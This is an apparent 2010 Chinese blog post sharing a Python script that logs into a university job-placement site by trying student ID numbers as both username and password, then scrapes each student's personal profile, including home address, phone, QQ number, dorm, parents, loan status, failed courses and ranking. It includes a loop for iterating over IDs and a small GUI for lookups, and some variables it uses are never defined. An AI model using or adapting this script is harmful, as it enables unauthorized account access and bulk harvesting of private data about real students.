andelf fledna Feather

2010年4月14日星期三

信息学院学生信息 Dump

# -*- coding: utf-8 -*-
#  FileName    : isejob.py 
#  Author      : Feather.et.ELF <andelf@gmail.com
#  Created     : Wed Apr 14 16:07:39 2010 by Feather.et.ELF 
#  Copyright   : Feather Workshop (c) 2010 
#  Description : www.isejob.neu.du.cn user info dump 
#  Time-stamp: <2010-04-14 17:55:19 andelf> 

import urllib, urllib2, re
from Tkinter import *
# this is a comment

login_url = "http://www.xxxxx.edu.cn/loginp.aspx" # note 'p' here
post_data = "userName=%s&userPass=%s"

urllib2.install_opener( urllib2.build_opener( urllib2.HTTPCookieProcessor() ) )

def trans_line(l):
    # l = l.replace("</tr>", "\n</tr>")
    keys = re.findall(r"<b>(.+?)<", l, re.UNICODE) # 50
    vals = re.findall(r"<td>(.*?)<", l, re.UNICODE) # 49
    # 最后一项为备注: <td colspan="3"></td>
    val_last = l.split('colspan="3">')[1].split("<")[0]
    vals.append(val_last)
    return dict(zip(keys, vals))
def login(no):
    # pre
    urllib2.urlopen("http://www.isejob.neu.edu.cn/login.aspx")
    no = int(no)
    req = urllib2.Request(login_url,
                          post_data % (str(no), str(no)),
                          {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)",
                           "Referer": "http://www.isejob.neu.edu.cn/login.aspx"}
                          )
    res = urllib2.urlopen(req)
    return u"登录成功" in unicode(res.read(), 'utf-8')

def get_info(no=None):
    req = urllib2.Request(info_url)
    res = urllib2.urlopen(req)
    for line in res:
        line = unicode(line, 'utf-8')
        if u"用户类型" in line:
            return trans_line(line)
    return {}

def logout():
    return u"对不起" in unicode(urllib2.urlopen(logout_url).read(), 'utf-8')

def show_biref(info_dict):
    return unicode("%(姓名)s %(性别)s %(生源地)s %(家庭详细地址)s 手机:%(手机号码)s QQ:%(QQ号码)s 寝室:%(寝室号)s", 'utf-8') % info_dict

def show_detail(info_dict):
    lines = []
    for k in info_dict:
        if info_dict[k]:
            lines.append( u"%s: %s" % (k, info_dict[k]))
    return u'\n'.join(lines)

def test():
    for no in xrange(0, 0):
        if login(no):
            info = get_info()
            show_biref(info)
            logout()

class Application(Frame):
    def query(self):
        print self.inputs.get()
        no = self.inputs.get()
        if logout() and login(no):
            data = show_detail(get_info())
            #data = show_biref(get_info())
            self.infoLabel['text'] = data
        else:
            self.infoLabel['text'] = "Error"
    def initWidgets(self):
        ety = self.inputEntry = Entry(self)
        ety.pack(side='top')
        self.inputs = IntVar()
        self.inputs.set(20073033)
        ety['textvariable'] = self.inputs
        ety.bind('<Key-Return>', self.query)
                                  
        btn = self.queryButton = Button(self)
        btn["text"] = u"查询"
        btn["fg"] = "red"
        btn["command"] = self.query
        btn.pack(side="top")

        lbl = self.infoLabel = Label(self)
        lbl.pack(side="top", expand=1)
    def __init__(self, *args, **kwargs):
        Frame.__init__(self, *args, **kwargs)
        self.initWidgets()
def basic_ui():
    root = Tk()
    root.title(u"信息学院查询器")
    app = Application(root)
    app.pack()
    root.mainloop()
    
if __name__== '__main__':
    basic_ui()
## 是否定向 单位联系人 家庭详细地址 用户类型 学生干部任职 是否贷款 父亲 常用E-mail地址 母亲 政治面貌 家庭邮编 性别
## 所属组 录取研究生情况 班级 用户名 单位名称 意向城市 外语语种 所在年级 单位联系电话 挂科情况 未找到 QQ号码 手机号码
## 综合排名 民族 单位性质 不想找 就业状态 姓名 六级分数 学号 单位详细地址 家庭电话 计算机等级 生源地 出生年月日 四级分数
## 寝室电话 定向单位名称 专业 意向单位 寝室号 入学年级 应聘方式 单位传真 单位邮编 备注 意向行业
            

没有评论: